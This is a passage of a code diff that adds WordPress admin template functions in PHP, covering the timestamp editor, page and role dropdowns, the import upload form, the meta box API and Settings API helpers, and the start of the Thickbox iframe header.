+ * @param int $multi     Optional. Whether the additional fields and buttons should be added.
+ *                            Default 0|false.
+ */
+function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) {
+	global $wp_locale, $comment;
+	$post = get_post();
+
+	if ( $for_post )
+		$edit = ! ( in_array($post->post_status, array('draft', 'pending') ) && (!$post->post_date_gmt || '0000-00-00 00:00:00' == $post->post_date_gmt ) );
+
+	$tab_index_attribute = '';
+	if ( (int) $tab_index > 0 )
+		$tab_index_attribute = " tabindex=\"$tab_index\"";
+
+	// todo: Remove this?
+	// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';
+
+	$time_adj = current_time('timestamp');
+	$post_date = ($for_post) ? $post->post_date : $comment->comment_date;
+	$jj = ($edit) ? mysql2date( 'd', $post_date, false ) : gmdate( 'd', $time_adj );
+	$mm = ($edit) ? mysql2date( 'm', $post_date, false ) : gmdate( 'm', $time_adj );
+	$aa = ($edit) ? mysql2date( 'Y', $post_date, false ) : gmdate( 'Y', $time_adj );
+	$hh = ($edit) ? mysql2date( 'H', $post_date, false ) : gmdate( 'H', $time_adj );
+	$mn = ($edit) ? mysql2date( 'i', $post_date, false ) : gmdate( 'i', $time_adj );
+	$ss = ($edit) ? mysql2date( 's', $post_date, false ) : gmdate( 's', $time_adj );
+
+	$cur_jj = gmdate( 'd', $time_adj );
+	$cur_mm = gmdate( 'm', $time_adj );
+	$cur_aa = gmdate( 'Y', $time_adj );
+	$cur_hh = gmdate( 'H', $time_adj );
+	$cur_mn = gmdate( 'i', $time_adj );
+
+	$month = '<label for="mm" class="screen-reader-text">' . __( 'Month' ) . '</label><select ' . ( $multi ? '' : 'id="mm" ' ) . 'name="mm"' . $tab_index_attribute . ">\n";
+	for ( $i = 1; $i < 13; $i = $i +1 ) {
+		$monthnum = zeroise($i, 2);
+		$month .= "\t\t\t" . '<option value="' . $monthnum . '" ' . selected( $monthnum, $mm, false ) . '>';
+		/* translators: 1: month number (01, 02, etc.), 2: month abbreviation */
+		$month .= sprintf( __( '%1$s-%2$s' ), $monthnum, $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) ) ) . "</option>\n";
+	}
+	$month .= '</select>';
+
+	$day = '<label for="jj" class="screen-reader-text">' . __( 'Day' ) . '</label><input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />';
+	$year = '<label for="aa" class="screen-reader-text">' . __( 'Year' ) . '</label><input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" />';
+	$hour = '<label for="hh" class="screen-reader-text">' . __( 'Hour' ) . '</label><input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />';
+	$minute = '<label for="mn" class="screen-reader-text">' . __( 'Minute' ) . '</label><input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />';
+
+	echo '<div class="timestamp-wrap">';
+	/* translators: 1: month, 2: day, 3: year, 4: hour, 5: minute */
+	printf( __( '%1$s %2$s, %3$s @ %4$s : %5$s' ), $month, $day, $year, $hour, $minute );
+
+	echo '</div><input type="hidden" id="ss" name="ss" value="' . $ss . '" />';
+
+	if ( $multi ) return;
+
+	echo "\n\n";
+	$map = array(
+		'mm' => array( $mm, $cur_mm ),
+		'jj' => array( $jj, $cur_jj ),
+		'aa' => array( $aa, $cur_aa ),
+		'hh' => array( $hh, $cur_hh ),
+		'mn' => array( $mn, $cur_mn ),
+	);
+	foreach ( $map as $timeunit => $value ) {
+		list( $unit, $curr ) = $value;
+
+		echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $unit . '" />' . "\n";
+		$cur_timeunit = 'cur_' . $timeunit;
+		echo '<input type="hidden" id="' . $cur_timeunit . '" name="' . $cur_timeunit . '" value="' . $curr . '" />' . "\n";
+	}
+?>
+
+<p>
+<a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e('OK'); ?></a>
+<a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a>
+</p>
+<?php
+}
+
+/**
+ * Print out option HTML elements for the page templates drop-down.
+ *
+ * @since 1.5.0
+ *
+ * @param string $default Optional. The template file name. Default empty.
+ */
+function page_template_dropdown( $default = '' ) {
+	$templates = get_page_templates( get_post() );
+	ksort( $templates );
+	foreach ( array_keys( $templates ) as $template ) {
+		$selected = selected( $default, $templates[ $template ], false );
+		echo "\n\t<option value='" . $templates[ $template ] . "' $selected>$template</option>";
+	}
+}
+
+/**
+ * Print out option HTML elements for the page parents drop-down.
+ *
+ * @since 1.5.0
+ *
+ * @param int $default Optional. The default page ID to be pre-selected. Default 0.
+ * @param int $parent  Optional. The parent page ID. Default 0.
+ * @param int $level   Optional. Page depth level. Default 0.
+ *
+ * @return null|false Boolean False if page has no children, otherwise print out html elements
+ */
+function parent_dropdown( $default = 0, $parent = 0, $level = 0 ) {
+	global $wpdb;
+	$post = get_post();
+	$items = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent) );
+
+	if ( $items ) {
+		foreach ( $items as $item ) {
+			// A page cannot be its own parent.
+			if ( $post && $post->ID && $item->ID == $post->ID )
+				continue;
+
+			$pad = str_repeat( '&nbsp;', $level * 3 );
+			$selected = selected( $default, $item->ID, false );
+
+			echo "\n\t<option class='level-$level' value='$item->ID' $selected>$pad " . esc_html($item->post_title) . "</option>";
+			parent_dropdown( $default, $item->ID, $level +1 );
+		}
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Print out option html elements for role selectors.
+ *
+ * @since 2.1.0
+ *
+ * @param string $selected slug for the role that should be already selected
+ */
+function wp_dropdown_roles( $selected = false ) {
+	$p = '';
+	$r = '';
+
+	$editable_roles = array_reverse( get_editable_roles() );
+
+	foreach ( $editable_roles as $role => $details ) {
+		$name = translate_user_role($details['name'] );
+		if ( $selected == $role ) // preselect specified role
+			$p = "\n\t<option selected='selected' value='" . esc_attr($role) . "'>$name</option>";
+		else
+			$r .= "\n\t<option value='" . esc_attr($role) . "'>$name</option>";
+	}
+	echo $p . $r;
+}
+
+/**
+ * Outputs the form used by the importers to accept the data to be imported
+ *
+ * @since 2.0.0
+ *
+ * @param string $action The action attribute for the form.
+ */
+function wp_import_upload_form( $action ) {
+
+	/**
+	 * Filter the maximum allowed upload size for import files.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @see wp_max_upload_size()
+	 *
+	 * @param int $max_upload_size Allowed upload size. Default 1 MB.
+	 */
+	$bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
+	$size = size_format( $bytes );
+	$upload_dir = wp_upload_dir();
+	if ( ! empty( $upload_dir['error'] ) ) :
+		?><div class="error"><p><?php _e('Before you can upload your import file, you will need to fix the following error:'); ?></p>
+		<p><strong><?php echo $upload_dir['error']; ?></strong></p></div><?php
+	else :
+?>
+<form enctype="multipart/form-data" id="import-upload-form" method="post" class="wp-upload-form" action="<?php echo esc_url( wp_nonce_url( $action, 'import-upload' ) ); ?>">
+<p>
+<label for="upload"><?php _e( 'Choose a file from your computer:' ); ?></label> (<?php printf( __('Maximum size: %s' ), $size ); ?>)
+<input type="file" id="upload" name="import" size="25" />
+<input type="hidden" name="action" value="save" />
+<input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" />
+</p>
+<?php submit_button( __('Upload file and import'), 'button' ); ?>
+</form>
+<?php
+	endif;
+}
+
+/**
+ * Add a meta box to an edit form.
+ *
+ * @since 2.5.0
+ *
+ * @param string           $id            String for use in the 'id' attribute of tags.
+ * @param string           $title         Title of the meta box.
+ * @param callback         $callback      Function that fills the box with the desired content.
+ *                                        The function should echo its output.
+ * @param string|WP_Screen $screen        Optional. The screen on which to show the box (like a post
+ *                                        type, 'link', or 'comment'). Default is the current screen.
+ * @param string           $context       Optional. The context within the screen where the boxes
+ *                                        should display. Available contexts vary from screen to
+ *                                        screen. Post edit screen contexts include 'normal', 'side',
+ *                                        and 'advanced'. Comments screen contexts include 'normal'
+ *                                        and 'side'. Menus meta boxes (accordion sections) all use
+ *                                        the 'side' context. Global default is 'advanced'.
+ * @param string           $priority      Optional. The priority within the context where the boxes
+ *                                        should show ('high', 'low'). Default 'default'.
+ * @param array            $callback_args Optional. Data that should be set as the $args property
+ *                                        of the box array (which is the second parameter passed
+ *                                        to your callback). Default null.
+ */
+function add_meta_box( $id, $title, $callback, $screen = null, $context = 'advanced', $priority = 'default', $callback_args = null ) {
+	global $wp_meta_boxes;
+
+	if ( empty( $screen ) )
+		$screen = get_current_screen();
+	elseif ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$page = $screen->id;
+
+	if ( !isset($wp_meta_boxes) )
+		$wp_meta_boxes = array();
+	if ( !isset($wp_meta_boxes[$page]) )
+		$wp_meta_boxes[$page] = array();
+	if ( !isset($wp_meta_boxes[$page][$context]) )
+		$wp_meta_boxes[$page][$context] = array();
+
+	foreach ( array_keys($wp_meta_boxes[$page]) as $a_context ) {
+		foreach ( array('high', 'core', 'default', 'low') as $a_priority ) {
+			if ( !isset($wp_meta_boxes[$page][$a_context][$a_priority][$id]) )
+				continue;
+
+			// If a core box was previously added or removed by a plugin, don't add.
+			if ( 'core' == $priority ) {
+				// If core box previously deleted, don't add
+				if ( false === $wp_meta_boxes[$page][$a_context][$a_priority][$id] )
+					return;
+
+				/*
+				 * If box was added with default priority, give it core priority to
+				 * maintain sort order.
+				 */
+				if ( 'default' == $a_priority ) {
+					$wp_meta_boxes[$page][$a_context]['core'][$id] = $wp_meta_boxes[$page][$a_context]['default'][$id];
+					unset($wp_meta_boxes[$page][$a_context]['default'][$id]);
+				}
+				return;
+			}
+			// If no priority given and id already present, use existing priority.
+			if ( empty($priority) ) {
+				$priority = $a_priority;
+			/*
+			 * Else, if we're adding to the sorted priority, we don't know the title
+			 * or callback. Grab them from the previously added context/priority.
+			 */
+			} elseif ( 'sorted' == $priority ) {
+				$title = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['title'];
+				$callback = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['callback'];
+				$callback_args = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['args'];
+			}
+			// An id can be in only one priority and one context.
+			if ( $priority != $a_priority || $context != $a_context )
+				unset($wp_meta_boxes[$page][$a_context][$a_priority][$id]);
+		}
+	}
+
+	if ( empty($priority) )
+		$priority = 'low';
+
+	if ( !isset($wp_meta_boxes[$page][$context][$priority]) )
+		$wp_meta_boxes[$page][$context][$priority] = array();
+
+	$wp_meta_boxes[$page][$context][$priority][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $callback_args);
+}
+
+/**
+ * Meta-Box template function
+ *
+ * @since 2.5.0
+ *
+ * @staticvar bool $already_sorted
+ * @param string|WP_Screen $screen Screen identifier
+ * @param string $context box context
+ * @param mixed $object gets passed to the box callback function as first parameter
+ * @return int number of meta_boxes
+ */
+function do_meta_boxes( $screen, $context, $object ) {
+	global $wp_meta_boxes;
+	static $already_sorted = false;
+
+	if ( empty( $screen ) )
+		$screen = get_current_screen();
+	elseif ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$page = $screen->id;
+
+	$hidden = get_hidden_meta_boxes( $screen );
+
+	printf('<div id="%s-sortables" class="meta-box-sortables">', htmlspecialchars($context));
+
+	// Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose
+	if ( ! $already_sorted && $sorted = get_user_option( "meta-box-order_$page" ) ) {
+		foreach ( $sorted as $box_context => $ids ) {
+			foreach ( explode( ',', $ids ) as $id ) {
+				if ( $id && 'dashboard_browser_nag' !== $id ) {
+					add_meta_box( $id, null, null, $screen, $box_context, 'sorted' );
+				}
+			}
+		}
+	}
+
+	$already_sorted = true;
+
+	$i = 0;
+
+	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
+		foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) {
+			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ]) ) {
+				foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
+					if ( false == $box || ! $box['title'] )
+						continue;
+					$i++;
+					$hidden_class = in_array($box['id'], $hidden) ? ' hide-if-js' : '';
+					echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes($box['id'], $page) . $hidden_class . '" ' . '>' . "\n";
+					if ( 'dashboard_browser_nag' != $box['id'] )
+						echo '<div class="handlediv" title="' . esc_attr__('Click to toggle') . '"><br /></div>';
+					echo "<h3 class='hndle'><span>{$box['title']}</span></h3>\n";
+					echo '<div class="inside">' . "\n";
+					call_user_func($box['callback'], $object, $box);
+					echo "</div>\n";
+					echo "</div>\n";
+				}
+			}
+		}
+	}
+
+	echo "</div>";
+
+	return $i;
+
+}
+
+/**
+ * Remove a meta box from an edit form.
+ *
+ * @since 2.6.0
+ *
+ * @param string $id String for use in the 'id' attribute of tags.
+ * @param string|object $screen The screen on which to show the box (post, page, link).
+ * @param string $context The context within the page where the boxes should show ('normal', 'advanced').
+ */
+function remove_meta_box($id, $screen, $context) {
+	global $wp_meta_boxes;
+
+	if ( empty( $screen ) )
+		$screen = get_current_screen();
+	elseif ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$page = $screen->id;
+
+	if ( !isset($wp_meta_boxes) )
+		$wp_meta_boxes = array();
+	if ( !isset($wp_meta_boxes[$page]) )
+		$wp_meta_boxes[$page] = array();
+	if ( !isset($wp_meta_boxes[$page][$context]) )
+		$wp_meta_boxes[$page][$context] = array();
+
+	foreach ( array('high', 'core', 'default', 'low') as $priority )
+		$wp_meta_boxes[$page][$context][$priority][$id] = false;
+}
+
+/**
+ * Meta Box Accordion Template Function
+ *
+ * Largely made up of abstracted code from {@link do_meta_boxes()}, this
+ * function serves to build meta boxes as list items for display as
+ * a collapsible accordion.
+ *
+ * @since 3.6.0
+ *
+ * @uses global $wp_meta_boxes Used to retrieve registered meta boxes.
+ *
+ * @param string|object $screen The screen identifier.
+ * @param string $context The meta box context.
+ * @param mixed $object gets passed to the section callback function as first parameter.
+ * @return int number of meta boxes as accordion sections.
+ */
+function do_accordion_sections( $screen, $context, $object ) {
+	global $wp_meta_boxes;
+
+	wp_enqueue_script( 'accordion' );
+
+	if ( empty( $screen ) )
+		$screen = get_current_screen();
+	elseif ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$page = $screen->id;
+
+	$hidden = get_hidden_meta_boxes( $screen );
+	?>
+	<div id="side-sortables" class="accordion-container">
+		<ul class="outer-border">
+	<?php
+	$i = 0;
+	$first_open = false;
+
+	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
+		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
+			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
+				foreach ( $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
+					if ( false == $box || ! $box['title'] )
+						continue;
+					$i++;
+					$hidden_class = in_array( $box['id'], $hidden ) ? 'hide-if-js' : '';
+
+					$open_class = '';
+					if ( ! $first_open && empty( $hidden_class ) ) {
+						$first_open = true;
+						$open_class = 'open';
+					}
+					?>
+					<li class="control-section accordion-section <?php echo $hidden_class; ?> <?php echo $open_class; ?> <?php echo esc_attr( $box['id'] ); ?>" id="<?php echo esc_attr( $box['id'] ); ?>">
+						<h3 class="accordion-section-title hndle" tabindex="0">
+							<?php echo esc_html( $box['title'] ); ?>
+							<span class="screen-reader-text"><?php _e( 'Press return or enter to expand' ); ?></span>
+						</h3>
+						<div class="accordion-section-content <?php postbox_classes( $box['id'], $page ); ?>">
+							<div class="inside">
+								<?php call_user_func( $box['callback'], $object, $box ); ?>
+							</div><!-- .inside -->
+						</div><!-- .accordion-section-content -->
+					</li><!-- .accordion-section -->
+					<?php
+				}
+			}
+		}
+	}
+	?>
+		</ul><!-- .outer-border -->
+	</div><!-- .accordion-container -->
+	<?php
+	return $i;
+}
+
+/**
+ * Add a new section to a settings page.
+ *
+ * Part of the Settings API. Use this to define new settings sections for an admin page.
+ * Show settings sections in your admin page callback function with do_settings_sections().
+ * Add settings fields to your section with add_settings_field()
+ *
+ * The $callback argument should be the name of a function that echoes out any
+ * content you want to show at the top of the settings section before the actual
+ * fields. It can output nothing if you want.
+ *
+ * @since 2.7.0
+ *
+ * @global $wp_settings_sections Storage array of all settings sections added to admin pages
+ *
+ * @param string $id Slug-name to identify the section. Used in the 'id' attribute of tags.
+ * @param string $title Formatted title of the section. Shown as the heading for the section.
+ * @param string $callback Function that echos out any content at the top of the section (between heading and fields).
+ * @param string $page The slug-name of the settings page on which to show the section. Built-in pages include 'general', 'reading', 'writing', 'discussion', 'media', etc. Create your own using add_options_page();
+ */
+function add_settings_section($id, $title, $callback, $page) {
+	global $wp_settings_sections;
+
+	if ( 'misc' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) );
+		$page = 'general';
+	}
+
+	if ( 'privacy' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.5', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) );
+		$page = 'reading';
+	}
+
+	$wp_settings_sections[$page][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback);
+}
+
+/**
+ * Add a new field to a section of a settings page
+ *
+ * Part of the Settings API. Use this to define a settings field that will show
+ * as part of a settings section inside a settings page. The fields are shown using
+ * do_settings_fields() in do_settings-sections()
+ *
+ * The $callback argument should be the name of a function that echoes out the
+ * html input tags for this setting field. Use get_option() to retrieve existing
+ * values to show.
+ *
+ * @since 2.7.0
+ *
+ * @global $wp_settings_fields Storage array of settings fields and info about their pages/sections
+ *
+ * @param string $id Slug-name to identify the field. Used in the 'id' attribute of tags.
+ * @param string $title Formatted title of the field. Shown as the label for the field during output.
+ * @param string $callback Function that fills the field with the desired form inputs. The function should echo its output.
+ * @param string $page The slug-name of the settings page on which to show the section (general, reading, writing, ...).
+ * @param string $section The slug-name of the section of the settings page in which to show the box (default, ...).
+ * @param array $args Additional arguments
+ */
+function add_settings_field($id, $title, $callback, $page, $section = 'default', $args = array()) {
+	global $wp_settings_fields;
+
+	if ( 'misc' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.0', __( 'The miscellaneous options group has been removed. Use another settings group.' ) );
+		$page = 'general';
+	}
+
+	if ( 'privacy' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.5', __( 'The privacy options group has been removed. Use another settings group.' ) );
+		$page = 'reading';
+	}
+
+	$wp_settings_fields[$page][$section][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $args);
+}
+
+/**
+ * Prints out all settings sections added to a particular settings page
+ *
+ * Part of the Settings API. Use this in a settings page callback function
+ * to output all the sections and fields that were added to that $page with
+ * add_settings_section() and add_settings_field()
+ *
+ * @global $wp_settings_sections Storage array of all settings sections added to admin pages
+ * @global $wp_settings_fields Storage array of settings fields and info about their pages/sections
+ * @since 2.7.0
+ *
+ * @param string $page The slug name of the page whos settings sections you want to output
+ */
+function do_settings_sections( $page ) {
+	global $wp_settings_sections, $wp_settings_fields;
+
+	if ( ! isset( $wp_settings_sections[$page] ) )
+		return;
+
+	foreach ( (array) $wp_settings_sections[$page] as $section ) {
+		if ( $section['title'] )
+			echo "<h3>{$section['title']}</h3>\n";
+
+		if ( $section['callback'] )
+			call_user_func( $section['callback'], $section );
+
+		if ( ! isset( $wp_settings_fields ) || !isset( $wp_settings_fields[$page] ) || !isset( $wp_settings_fields[$page][$section['id']] ) )
+			continue;
+		echo '<table class="form-table">';
+		do_settings_fields( $page, $section['id'] );
+		echo '</table>';
+	}
+}
+
+/**
+ * Print out the settings fields for a particular settings section
+ *
+ * Part of the Settings API. Use this in a settings page to output
+ * a specific section. Should normally be called by do_settings_sections()
+ * rather than directly.
+ *
+ * @global $wp_settings_fields Storage array of settings fields and their pages/sections
+ *
+ * @since 2.7.0
+ *
+ * @param string $page Slug title of the admin page who's settings fields you want to show.
+ * @param string $section Slug title of the settings section who's fields you want to show.
+ */
+function do_settings_fields($page, $section) {
+	global $wp_settings_fields;
+
+	if ( ! isset( $wp_settings_fields[$page][$section] ) )
+		return;
+
+	foreach ( (array) $wp_settings_fields[$page][$section] as $field ) {
+		echo '<tr>';
+		if ( !empty($field['args']['label_for']) )
+			echo '<th scope="row"><label for="' . esc_attr( $field['args']['label_for'] ) . '">' . $field['title'] . '</label></th>';
+		else
+			echo '<th scope="row">' . $field['title'] . '</th>';
+		echo '<td>';
+		call_user_func($field['callback'], $field['args']);
+		echo '</td>';
+		echo '</tr>';
+	}
+}
+
+/**
+ * Register a settings error to be displayed to the user
+ *
+ * Part of the Settings API. Use this to show messages to users about settings validation
+ * problems, missing settings or anything else.
+ *
+ * Settings errors should be added inside the $sanitize_callback function defined in
+ * register_setting() for a given setting to give feedback about the submission.
+ *
+ * By default messages will show immediately after the submission that generated the error.
+ * Additional calls to settings_errors() can be used to show errors even when the settings
+ * page is first accessed.
+ *
+ * @since 3.0.0
+ *
+ * @todo Properly document optional arguments as such.
+ *
+ * @global array $wp_settings_errors Storage array of errors registered during this pageload
+ *
+ * @param string $setting Slug title of the setting to which this error applies
+ * @param string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
+ * @param string $message The formatted message text to display to the user (will be shown inside styled
+ *                        `<div>` and `<p>` tags).
+ * @param string $type    The type of message it is, controls HTML class. Use 'error' or 'updated'.
+ */
+function add_settings_error( $setting, $code, $message, $type = 'error' ) {
+	global $wp_settings_errors;
+
+	$wp_settings_errors[] = array(
+		'setting' => $setting,
+		'code'    => $code,
+		'message' => $message,
+		'type'    => $type
+	);
+}
+
+/**
+ * Fetch settings errors registered by add_settings_error()
+ *
+ * Checks the $wp_settings_errors array for any errors declared during the current
+ * pageload and returns them.
+ *
+ * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved
+ * to the 'settings_errors' transient then those errors will be returned instead. This
+ * is used to pass errors back across pageloads.
+ *
+ * Use the $sanitize argument to manually re-sanitize the option before returning errors.
+ * This is useful if you have errors or notices you want to show even when the user
+ * hasn't submitted data (i.e. when they first load an options page, or in admin_notices action hook)
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_settings_errors Storage array of errors registered during this pageload
+ *
+ * @param string $setting Optional slug title of a specific setting who's errors you want.
+ * @param boolean $sanitize Whether to re-sanitize the setting value before returning errors.
+ * @return array Array of settings errors
+ */
+function get_settings_errors( $setting = '', $sanitize = false ) {
+	global $wp_settings_errors;
+
+	/*
+	 * If $sanitize is true, manually re-run the sanitization for this option
+	 * This allows the $sanitize_callback from register_setting() to run, adding
+	 * any settings errors you want to show by default.
+	 */
+	if ( $sanitize )
+		sanitize_option( $setting, get_option( $setting ) );
+
+	// If settings were passed back from options.php then use them.
+	if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] && get_transient( 'settings_errors' ) ) {
+		$wp_settings_errors = array_merge( (array) $wp_settings_errors, get_transient( 'settings_errors' ) );
+		delete_transient( 'settings_errors' );
+	}
+
+	// Check global in case errors have been added on this pageload.
+	if ( ! count( $wp_settings_errors ) )
+		return array();
+
+	// Filter the results to those of a specific setting if one was set.
+	if ( $setting ) {
+		$setting_errors = array();
+		foreach ( (array) $wp_settings_errors as $key => $details ) {
+			if ( $setting == $details['setting'] )
+				$setting_errors[] = $wp_settings_errors[$key];
+		}
+		return $setting_errors;
+	}
+
+	return $wp_settings_errors;
+}
+
+/**
+ * Display settings errors registered by {@see add_settings_error()}.
+ *
+ * Part of the Settings API. Outputs a div for each error retrieved by
+ * {@see get_settings_errors()}.
+ *
+ * This is called automatically after a settings page based on the
+ * Settings API is submitted. Errors should be added during the validation
+ * callback function for a setting defined in {@see register_setting()}
+ *
+ * The $sanitize option is passed into {@see get_settings_errors()} and will
+ * re-run the setting sanitization
+ * on its current value.
+ *
+ * The $hide_on_update option will cause errors to only show when the settings
+ * page is first loaded. if the user has already saved new values it will be
+ * hidden to avoid repeating messages already shown in the default error
+ * reporting after submission. This is useful to show general errors like
+ * missing settings when the user arrives at the settings page.
+ *
+ * @since 3.0.0
+ *
+ * @param string $setting Optional slug title of a specific setting who's errors you want.
+ * @param boolean $sanitize Whether to re-sanitize the setting value before returning errors.
+ * @param boolean $hide_on_update If set to true errors will not be shown if the settings page has already been submitted.
+ */
+function settings_errors( $setting = '', $sanitize = false, $hide_on_update = false ) {
+
+	if ( $hide_on_update && ! empty( $_GET['settings-updated'] ) )
+		return;
+
+	$settings_errors = get_settings_errors( $setting, $sanitize );
+
+	if ( empty( $settings_errors ) )
+		return;
+
+	$output = '';
+	foreach ( $settings_errors as $key => $details ) {
+		$css_id = 'setting-error-' . $details['code'];
+		$css_class = $details['type'] . ' settings-error';
+		$output .= "<div id='$css_id' class='$css_class'> \n";
+		$output .= "<p><strong>{$details['message']}</strong></p>";
+		$output .= "</div> \n";
+	}
+	echo $output;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param string $found_action
+ */
+function find_posts_div($found_action = '') {
+?>
+	<div id="find-posts" class="find-box" style="display: none;">
+		<div id="find-posts-head" class="find-box-head">
+			<?php _e( 'Find Posts or Pages' ); ?>
+			<div id="find-posts-close"></div>
+		</div>
+		<div class="find-box-inside">
+			<div class="find-box-search">
+				<?php if ( $found_action ) { ?>
+					<input type="hidden" name="found_action" value="<?php echo esc_attr($found_action); ?>" />
+				<?php } ?>
+				<input type="hidden" name="affected" id="affected" value="" />
+				<?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?>
+				<label class="screen-reader-text" for="find-posts-input"><?php _e( 'Search' ); ?></label>
+				<input type="text" id="find-posts-input" name="ps" value="" />
+				<span class="spinner"></span>
+				<input type="button" id="find-posts-search" value="<?php esc_attr_e( 'Search' ); ?>" class="button" />
+				<div class="clear"></div>
+			</div>
+			<div id="find-posts-response"></div>
+		</div>
+		<div class="find-box-buttons">
+			<?php submit_button( __( 'Select' ), 'button-primary alignright', 'find-posts-submit', false ); ?>
+			<div class="clear"></div>
+		</div>
+	</div>
+<?php
+}
+
+/**
+ * Display the post password.
+ *
+ * The password is passed through {@link esc_attr()} to ensure that it
+ * is safe for placing in an html attribute.
+ *
+ * @since 2.7.0
+ */
+function the_post_password() {
+	$post = get_post();
+	if ( isset( $post->post_password ) )
+		echo esc_attr( $post->post_password );
+}
+
+/**
+ * Get the post title.
+ *
+ * The post title is fetched and if it is blank then a default string is
+ * returned.
+ *
+ * @since 2.7.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string The post title if set.
+ */
+function _draft_or_post_title( $post = 0 ) {
+	$title = get_the_title( $post );
+	if ( empty( $title ) )
+		$title = __( '(no title)' );
+	return esc_html( $title );
+}
+
+/**
+ * Display the search query.
+ *
+ * A simple wrapper to display the "s" parameter in a GET URI. This function
+ * should only be used when {@link the_search_query()} cannot.
+ *
+ * @since 2.7.0
+ *
+ */
+function _admin_search_query() {
+	echo isset($_REQUEST['s']) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
+}
+
+/**
+ * Generic Iframe header for use with Thickbox
+ *
+ * @since 2.7.0
+ * @param string $title Title of the Iframe page.
+ * @param bool $limit_styles Limit styles to colour-related styles only (unless others are enqueued).
+ *
+ */
+function iframe_header( $title = '', $limit_styles = false ) {
+	show_admin_bar( false );
+	global $hook_suffix, $current_user, $admin_body_class, $wp_locale;
+	$admin_body_class = preg_replace('/[^a-z0-9_-]+/i', '-', $hook_suffix);
+
+	$current_screen = get_current_screen();
+
+	@header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
+	_wp_admin_html_begin();
+?>
+<title><?php bloginfo('name') ?> &rsaquo; <?php echo $title ?> &#8212; <?php _e('WordPress'); ?></title>
+<?php
+wp_enqueue_style( 'colors' );
+?>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+function tb_close(){var win=window.dialogArguments||opener||parent||top;win.tb_remove();}
+var ajaxurl = '<?php echo admin_url( 'admin-ajax.php', 'relative' ); ?>',
+	pagenow = '<?php echo $current_screen->id; ?>',
+	typenow = '<?php echo $current_screen->post_type; ?>',
+	adminpage = '<?php echo $admin_body_class; ?>',
+	thousandsSeparator = '<?php echo addslashes( $wp_locale->number_format['thousands_sep'] ); ?>',
+	decimalPoint = '<?php echo addslashes( $wp_locale->number_format['decimal_point'] ); ?>',
+	isRtl = <?php echo (int) is_rtl(); ?>;
+//]]>
+</script>
+<?php
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_enqueue_scripts', $hook_suffix );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( "admin_print_styles-$hook_suffix" );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( 'admin_print_styles' );
+
+/** This action is documented in wp-admin/admin-header.php */
+do_action( "admin_print_scripts-$hook_suffix" );
+
